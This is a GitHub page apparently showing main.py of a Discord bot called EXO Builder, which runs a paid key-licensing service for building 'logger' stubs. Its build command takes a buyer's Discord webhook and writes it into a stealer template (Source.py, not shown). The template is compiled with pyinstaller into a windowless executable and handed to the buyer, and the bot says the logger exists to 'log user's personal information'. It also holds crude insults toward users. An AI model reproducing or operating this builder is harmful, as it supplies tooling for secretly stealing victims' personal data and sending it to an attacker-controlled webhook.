-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.py
375 lines (301 loc) · 12.5 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
import discord
import random
import string
import shutil
import os
import subprocess
import requests
import uuid
import asyncio
import concurrent.futures
from pystyle import *
from pystyle import Colors, Colorate
from discord.ext import commands
intents = discord.Intents.all()
config = {
'token': "BotTOKEN", # BOT TOKEN
'authid': ['ADMINID', 'ADMINID'], # ADMIN ID PERSON WHO CAN GENNERATE KEYS [CAN ONLY BE 1 ID]
'name': "EXO", # NAME OF BOT for example since its EXO its going to say "EXO Builder"
'embedcolor': "0x702963", # the color code has to have 0x infront of the hex code always
'prefix': "$" # change prefix to whatever you want
}
# 0xFFFF00 <- yellow
# 0x702963 <- purple
os.system('cls')
os.system('title Stub Builder Bot [github.com/syntheticlol]')
banner = f"""
[Developer = synthetic#1337]
Prefix = [{config['prefix']}]
╔══════════════════════════════════════╗
║ |Loaded Commands <3| ║
║ ║
║ -------------------------------------║
║ Client Commands ║
║ -------------------------------------║
║ {config['prefix']}help ║
║ {config['prefix']}features ║
║ {config['prefix']}about ║
║ {config['prefix']}prices ║
║ {config['prefix']}build ║
║ -------------------------------------║
║ Admin Commands ║
║ -------------------------------------║
║ {config['prefix']}genkey ║
║ {config['prefix']}Blacklist ║
║ {config['prefix']}ban ║
║ {config['prefix']}unban ║
║ -------------------------------------║
╚══════════════════════════════════════╝
"""
print(Colorate.Horizontal(Colors.red_to_purple, Center.XCenter(banner)))
bot = commands.Bot(command_prefix=f"{config['prefix']}", intents=intents, help_command=None)
def black():
try:
with open("blacklist.txt", "r") as f:
lines = filter(None, f.read().splitlines())
return set(map(int, lines))
except FileNotFoundError:
return set()
blacklist = black()
@bot.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandNotFound):
await ctx.send("This isn't a command you retard :money_mouth: :astonished: :face_with_spiral_eyes: :disappointed: :rofl:")
@bot.command(name='ban')
async def banu(ctx, user_id: int):
authed = config['authid']
if str(ctx.message.author.id) not in authed:
await ctx.send("Who do you think you are, bro?")
return
if user_id in blacklist:
await ctx.send("This user is already banned. Lmao, L bozo.")
return
with open("blacklist.txt", "a") as f:
f.write(str(user_id) + "\n")
blacklist.add(user_id)
await ctx.send(f"{user_id} has been banned.")
@bot.command(name='unban')
async def unbanu(ctx, user_id: int):
authed = config['authid']
if str(ctx.message.author.id) not in authed:
await ctx.send("Who you think you are bro")
return
if user_id not in blacklist:
await ctx.send("This dude aint banned")
return
with open("blacklist.txt", "r") as f:
lines = f.readlines()
with open("blacklist.txt", "w") as f:
for line in lines:
if str(user_id) not in line.strip():
f.write(line)
blacklist.remove(user_id)
await ctx.send(f"{user_id} has been unbanned")
@bot.command(name='help')
async def lolhelpdude(ctx):
if ctx.message.author.id in blacklist:
embed=discord.Embed(title=f"{config['name']}", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
===================================>
You Are Banned From Bot
===================================>
```""",
)
else:
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=int(config['embedcolor'], 16))
embed.add_field(
name="Help : All Commands",
value=f"""
**===================== Client Commands =====================**
**{config['prefix']}features**```Command to show all {config['name']} features```
**{config['prefix']}info**```Info (who developer is and bot prefix)```
**{config['prefix']}about**```About us```
**{config['prefix']}price**```Prices for {config['name']}```
**{config['prefix']}build <webhook> <key>**```Command to build stub```
**===================== Admin Commands =======================**
**{config['prefix']}genkey <userid>**```Command to attribute a key to user```
**{config['prefix']}blacklist <userid>**```Command to blacklist a key```
**{config['prefix']}ban <userid>**```Ban a user```
**{config['prefix']}unban <userid>**```Unban a user```
""",
)
await ctx.send(embed=embed)
@bot.command(name='features')
async def sfeatures(ctx):
if ctx.message.author.id in blacklist:
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
===================================>
You Are Banned From Bot
===================================>
```""",
)
else:
# Create an embed message
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Features",
value="""```
CUSTOMIZE THIS
```""",
)
await ctx.send(embed=embed)
@bot.command(name='about')
async def abu(ctx):
if ctx.message.author.id in blacklist:
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
===================================>
You Are Banned From Bot
===================================>
```""",
)
else:
# Create an embed message
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
============= ABOUT US ===========>
DESC
===================================>
```""",
)
await ctx.send(embed=embed)
@bot.command(name='info')
async def inf(ctx):
if ctx.message.author.id in blacklist:
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
===================================>
You Are Banned From Bot
===================================>
```""",
)
else:
# Create an embed message
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
============= Developer ==========>
Bot By synthetic#1337
============== Prefix ============>
Prefix [{config['prefix']}]
===================================>
```""",
)
await ctx.send(embed=embed)
@bot.command(name='price')
async def ss(ctx):
if ctx.message.author.id in blacklist:
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
===================================>
You Are Banned From Bot
===================================>
```""",
)
else:
# Create an embed message
embed=discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(
name=f"{config['name']} Info",
value="""```
============== PRICES =============>
Your Prices here
===================================>
```""",
)
await ctx.send(embed=embed)
def generatek():
return "".join(
random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
for _ in range(10)
)
@bot.command(name='genkey')
async def genkeyy(ctx, user_id: str):
authed = config['authid']
if str(ctx.message.author.id) not in authed:
await ctx.send("Who do you think you are bro")
return
key = generatek()
with open("KEYS.txt", "a") as file:
file.write(f"{user_id}:KEY-{key}\n")
user = await bot.fetch_user(int(user_id))
await user.send(f"This is your key for {config['name']}: `KEY-{key}`")
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(name=f"{config['name']}", value=f"```User was successfully added. Key: KEY-{key}```")
await ctx.send(embed=embed)
@bot.command(name='blacklist')
async def blacklistk(ctx, userid: str):
authed = config['authid']
if str(ctx.message.author.id) not in authed:
await ctx.send("Who do you think you are bro")
return
with open("KEYS.txt", "r") as f:
lines = f.readlines()
with open("KEYS.txt", "w") as f:
for line in lines:
if not line.startswith(f"{userid}:"):
f.write(line)
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(name=f"{config['name']}", value=f"```{userid}'s key has been revoked```")
await ctx.send(embed=embed)
CEE = concurrent.futures.ThreadPoolExecutor(max_workers=100)
@bot.command(name='build')
async def buildstub(ctx, webhook: str, key: str = "default"):
if ctx.message.author.id in blacklist:
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(name=f"{config['name']} Info", value="""```
===================================>
You Are Banned From Bot
===================================>
```""")
await ctx.send(embed=embed)
else:
with open("KEYS.txt", "r") as f:
keys = [line.strip().split(":") for line in f.readlines()]
valid_key = [str(ctx.author.id), key] in keys
if not valid_key:
await ctx.send("Sorry, that's not your key silly :smiling_face_with_3_hearts: :scream: :heart_eyes: :stuck_out_tongue: :money_mouth:")
return
loop = asyncio.get_event_loop()
await loop.run_in_executor(CEE, casw, ctx, webhook)
def casw(ctx, webhook):
try:
UI = str(uuid.uuid4())
sf = f"Logger_{UI}.py"
ef = f"Logger_{UI}.exe"
shutil.copyfile("Source.py", sf)
with open(sf, "r+", encoding="utf-8") as f:
content = f.read()
f.seek(0, 0)
webhook_url = webhook
content = content.replace('%webhook%', webhook)
f.write(content)
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(name=f"{config['name']} Builder", value="```Your Logger Is Getting Compiled.```")
message = asyncio.run_coroutine_threadsafe(ctx.send(embed=embed), bot.loop).result()
subprocess.run(f"pyinstaller --onefile --noconsole {sf} --name {ef}", shell=True, check=True)
with open(f"dist/{ef}", "rb") as f:
file = discord.File(f, filename=ef)
asyncio.run_coroutine_threadsafe(ctx.send(file=file), bot.loop).result()
embed = discord.Embed(title=f"{config['name']} Builder", description="Synthetic is Daddy fr :3", color=0x702963)
embed.add_field(name="Stub Created", value="```>> Your Logger is Compiled !\n>> Use this logger to log user's personal information```", inline=False)
asyncio.run_coroutine_threadsafe(message.edit(embed=embed), bot.loop).result()
os.remove(sf)
shutil.rmtree("build")
except Exception as e:
print(f"{str(e)}")
bot.run(config['token'])